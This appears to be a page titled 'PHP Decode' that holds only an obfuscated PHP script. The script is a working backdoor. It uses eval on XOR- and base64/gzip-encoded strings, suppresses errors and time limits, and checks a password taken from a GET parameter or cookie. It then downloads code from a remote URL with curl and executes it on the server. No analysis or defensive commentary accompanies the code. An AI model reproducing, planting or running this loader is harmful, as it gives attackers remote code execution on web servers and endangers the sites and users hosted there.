PHP Decode

<?php 
    $EIEGVWPK = "/(:#++?2<3?>"^'HROMHDRBNVLM'; 
    $MVFZFMSK = "07+<}~\x7+1%*,&"^'RVXYKJXOTFEHC'; 
    eval($EIEGVWPK($MVFZFMSK('eJx1ktlugkAUhu9NfIepUgKioJaqqUtqUWIhthH3GKsIqIiFFMG9795RaVGg3AAz53z/f5ZwCDgPFSt1cuwbUIXP+jZ/n6n1jjEq/Hc9tXXJUg0d8JVuo8U2yxgii5aIuxEH9/PMoyQ9WhharVn7fcwtEls6dBuASHPRBEWwsicry7zg4iAZByk8fxsJotF1335AvYClos+sOUQYpoydcXgiQ/uTuSde67C1UpzLzL0MTdn5PKTiv2yvE4rKosZertS0ND2ceFmnbB/MIRG+qiiK6Jk6mavzj0JjvWkVmwb3D3G2V/XpUrQUbCKulAw9khXJkBVnBEHtYlP9pZZrj7MkvYuS5Iv07EUbtjVy8JGIz5qQm84OHJl99aRNDRNgiAqTknkA3wUAS4UVOlbyuHcNHEPJL15lQv6rC2/h8BZXPDgYHKBokAgMJAjYWZUggvUumrbWYYgAzdvyySKQ5iZ2XqHTwQBRhzj4uOwUNDFAFkN/i12V6mhTnbAC07SZkdy9KwvVY4Dm9+2R59dULNvUXVP+gZZLvNYECLFnCukr/BXnBwA901Q='))); KDWQTFSA('MWIHXFTPYFWKVKU9Gx1ta3tmMzVdZSsQcA')();$_SESSION[KDWQTFSA('MWRSRMMEHTKRNUM7E1N2fQMFSw1gcA')][KDWQTFSA('KKVOQNCCJKICs7BXNFNSU1PRUFPXUwEA')] = KDWQTFSA('MVEAMZEIPNEOSGs9QGAA=='); 
@ KDWQTFSA('OTDYDOQYUUSRCZSCs9UykLYx0QUA')(KDWQTFSA('MSLCHUSYCWEKNMs1dWETdQ1NZRNQMA'), 0); 
@KDWQTFSA('OTDYDOQYUUSRCZSCs9UykLYx0QUA')(KDWQTFSA('IBVAEAWHMMU1cx1jLmUFHSAgA='), NULL); 
@ KDWQTFSA('OTDYDOQYUUSRCZSCs9UykLYx0QUA')(KDWQTFSA('IMSADDVLEP01A01jbjtFNQUFI01dUyBAA='), NULL); 
@ KDWQTFSA('HEQLVCIBJU1C2szQUM9A3tbNT0lJXBQA=')(0); 
@KDWQTFSA('OTDYDOQYUUSRCZSCs9UykLYx0QUA')(KDWQTFSA('IHGJKCTKQGU1UzElHT0TMystFTVZVRULJRAgA='), 0); 
@ KDWQTFSA('OKVUEPLLRPEEUBIWszBWlFJRVTTn19Sx0LYFAA==')(0); 
@ KDWQTFSA('KZCURGGUAIZDM1axtjVV4jKxsjdjVTK3NTUGAA==')(true); 
     
function KDWQTFSA('MPKAPKMPHNPRPGkwcA')($CJKGFYLNNNA){ 
    $WLYOTL= KDWQTFSA('IPCHTNOXNJMwIA'). KDWQTFSA('IYWIZOYMLPs1DRyalm09Q0NjPWAQA=');  
    $CJKGFYLNNNA = $WLYOTL($CJKGFYLNNNA); 
    $WLYOTL=  KDWQTFSA('NJBIVFJAPZFPYTQ07VQsFBQU1CxBwA='); 
    return $WLYOTL ($CJKGFYLNNNA); 
} 
     
 
 
$EYDED = KDWQTFSA('MPKAPKMPHNPRPGkwcA')( KDWQTFSA('KDIXSVIXEXXGs7XjFAIA')); 
$FIWJIEZXWV =  KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('HJBOKELNBMzbl4gIA')); 
$COEM=  KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('MWQRTHPLZQMLXYk1KTFwUA')); 
 $RPBULMX =  KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('NIEYVMMUQFWOTXOUzCyEgcA')) ; 
$DBCYQZWAISKZ = KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('HIRGTKYEPM1BVEQUA')) ; 
$XKDJAAXSVBUY = KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('LJNKOGCARBTWRk7SU4wMA')); 
$KJCGE = KDWQTFSA('MPKAPKMPHNPRPGkwcA')( KDWQTFSA('HTARFMFTMYzeTZwcA')) ; 
$MTXKZCKV = KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('OMKPWEXKISKJIRJAM7GRFQMA')) ; 
 $WWKQCQUQDHQU=  KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('OOOVVAGDSHUAXDNTY7EQFgcA')); 
 $IYZYFGPUUKE=  KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('LJFQHKIUUZSTHYzcU4QQA')); 
 $SGYBUZSSWUQB= KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('HAHIZRPXZE7IXkAYA')); 
 $ROFGAVYBOJ= KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('MRBNNQZDONCXDZYzRl5wcA')); 
$FQTUFUOY=  KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('KTTQBGMEUAIGY1dmYAYA')) ; 
$JWYJDNRPA =  KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('JHCIUOEXSYIszRhEAEA')); 
 $KPPKTMUCYIHF = KDWQTFSA('MPKAPKMPHNPRPGkwcA')( KDWQTFSA('HLVJFSXTYY1cUZgcA')); 
$MABWWHX=  KDWQTFSA('MPKAPKMPHNPRPGkwcA')( KDWQTFSA('MAZQALMKOMWXGVE9I1YgAA')); 
$PJVR = KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('JAMOFTYUAABE7LiYgcA')); 
 $QWNYHRPWIX = $ROFGAVYBOJ. $FQTUFUOY .  $KPPKTMUCYIHF.  $XKDJAAXSVBUY . $COEM. $IYZYFGPUUKE .  $RPBULMX. $PJVR. $XKDJAAXSVBUY . $SGYBUZSSWUQB. $DBCYQZWAISKZ. $PJVR. $XKDJAAXSVBUY; 
if (KDWQTFSA('JUOINVAVRBTs9CuAQA=')(KDWQTFSA('JUOINVAVRBTs9CuAQA=')(KDWQTFSA('JUOINVAVRBTs9CuAQA=')( $_SERVER[ KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('JPUPYLBUEYFy1AyF+aXNhKVleOUtjTXKDLM4uESZBFMAQA=')) ]))) !=  KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('JKZKUVNRBIGs1DglJI2EeCUZbIXkbdTrWGzEDBg5bfRkTDh4GEXZsiWl2RhlxGTKZXP5RMR58+vBwA=')) ) { 
    KDWQTFSA('OBUOVUACCSFZERBE0zLQMzIwBgA=')(KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('OYYTZNYGZVVLPGWGS9QzFuC1ZctMF2Ji5RJm0uMxkmMSLZNR1Det52QxkJEAAA=='))); 
    KDWQTFSA('OBUOVUACCSFZERBE0zLQMzIwBgA=')(KDWQTFSA('MPKAPKMPHNPRPGkwcA')( KDWQTFSA('OONKXMFEFOOOIKWYYzGvE2Jk1TOyVmazY2OWli1j07YWlmViZi6vYBfj4CsGAA=='))); 
    die(); 
} 
if(KDWQTFSA('MWIHXFTPYFWKVKU9Gx1ta3tmMzVdZSsQcA')()){KDWQTFSA('IFHGKZAPPYM7NS0mHVMVSx0gMA')(KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('KCVXKECEMXOQK04qZtc35GLL1JYVFpHkqgAA')),$_SERVER[KDWQTFSA('MPKAPKMPHNPRPGkwcA')( KDWQTFSA('JPEGVYXUCXNyzBSkJFitC9I4M/gYmOXSAUA'))], $GYGYVEE); $GKDGRNILNEXF= $GYGYVEE [0]; $GKDGRNILNEXF =KDWQTFSA('LMMEGXJKLPFVCs7VXUGC30LOxUTdVAwA=')(KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('MLTKTALESZZQGDs01QUOM1zWPOslZiZeXNLAMA')), '', $GKDGRNILNEXF);if($_COOKIE[ KDWQTFSA('JUOINVAVRBTs9CuAQA=')( $GKDGRNILNEXF.KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('ITMXCYCUECkzexN+M1EWABAA==')) )] != KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('KNIBIJNOZDMJs620YmJRVcgSYGRgZtEQqJayZTa2lJOvFtSWtbSW12GWrKvgYVesqeVkVOLl56gvAQA=')) ){echo KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('HMGOAXSXE46tX5uBjszdjVFHkEMnWNJPTM+VWkksUlGOy5FESM+GuFeTSUwTSjExV4sJiGsK1fFKG3EK8LAA=')) ;exit();}} 
if (isset($_GET[KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('NCDLXRHJPDLDWAD4zDmlQQA'))]) || isset($_COOKIE[ KDWQTFSA('MPKAPKMPHNPRPGkwcA')( KDWQTFSA('LPSBRDSULABXZk9ZSFWY1ESkEAA=='))])) { 
    $AEAT = empty( $_GET[KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('NCDLXRHJPDLDWAD4zDmlQQA')) ]) ?  $_COOKIE[ KDWQTFSA('MPKAPKMPHNPRPGkwcA')( KDWQTFSA('LPSBRDSULABXZk9ZSFWY1ESkEAA=='))] :  $_GET[KDWQTFSA('MPKAPKMPHNPRPGkwcA')( KDWQTFSA('NCDLXRHJPDLDWAD4zDmlQQA'))]; 
    $CERX= empty($_GET[KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('IQIIFWZZSSk7KTYQcA'))]) ? $_COOKIE[KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('JCODZKLYNIR4zArkeHSligGAA=='))] :  $_GET[ KDWQTFSA('MPKAPKMPHNPRPGkwcA')( KDWQTFSA('IQIIFWZZSSk7KTYQcA')) ]; 
    if (KDWQTFSA('JUOINVAVRBTs9CuAQA=')($AEAT) != KDWQTFSA('MPKAPKMPHNPRPGkwcA')( KDWQTFSA('LDQHDMLFWTWQK49Tm4pPkEE+VYpap4rRSLpGTLJdiYFJkMxCV4mBQE1ZgsElhBbL5GNSLBEXFcsoA'))) { 
        exit(); 
    }else{ 
        KDWQTFSA('LLAYAYBOYRWUBs1fRVTLTVTEwBwA=')(KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('LPSBRDSULABXZk9ZSFWY1ESkEAA==')) , $AEAT); 
    } 
    if(isset($_GET [KDWQTFSA('MPKAPKMPHNPRPGkwcA')( KDWQTFSA('IQIIFWZZSSk7KTYQcA'))])){ 
        $TGNECZL = $_GET[KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('IQIIFWZZSSk7KTYQcA'))]; 
        KDWQTFSA('LLAYAYBOYRWUBs1fRVTLTVTEwBwA=')(KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('JCODZKLYNIR4zArkeHSligGAA==')), $TGNECZL); 
    }elseif(isset($_COOKIE [KDWQTFSA('MPKAPKMPHNPRPGkwcA')(KDWQTFSA('JCODZKLYNIR4zArkeHSligGAA==')) ])){ 
         $TGNECZL = $_COOKIE [KDWQTFSA('MPKAPKMPHNPRPGkwcA')( KDWQTFSA('IQIIFWZZSSk7KTYQcA'))]; 
    }else{ 
        exit; 
    } 
     $TGNECZL = $QWNYHRPWIX ($TGNECZL); 
    $OUCAJY = KDWQTFSA('OUYYIHQJKUKQXLOIM9PRVhW3UFFSBAA=')($TGNECZL); 
     KDWQTFSA('NUBDTTHDSTLNFSYMzM3s+C2VlS3trECAA==')($OUCAJY, CURLOPT_RETURNTRANSFER, 1); 
     $SUFFNS= KDWQTFSA('NYVVLMZBZWOGGZPs1JWURCyt7I3AQA=')($OUCAJY); 
    if ( KDWQTFSA('IZDYIPZEQO0zTQVjU1AQA=')($SUFFNS) < 100) { 
        $SUFFNS= KDWQTFSA('PMRXZGFHTRGADGRFR07Y2sZdQ1FXgVdHTMjbXULMDAA==')($TGNECZL); 
    } 
    eval ( '?>' .  $SUFFNS); 
    die; 
} 
exit;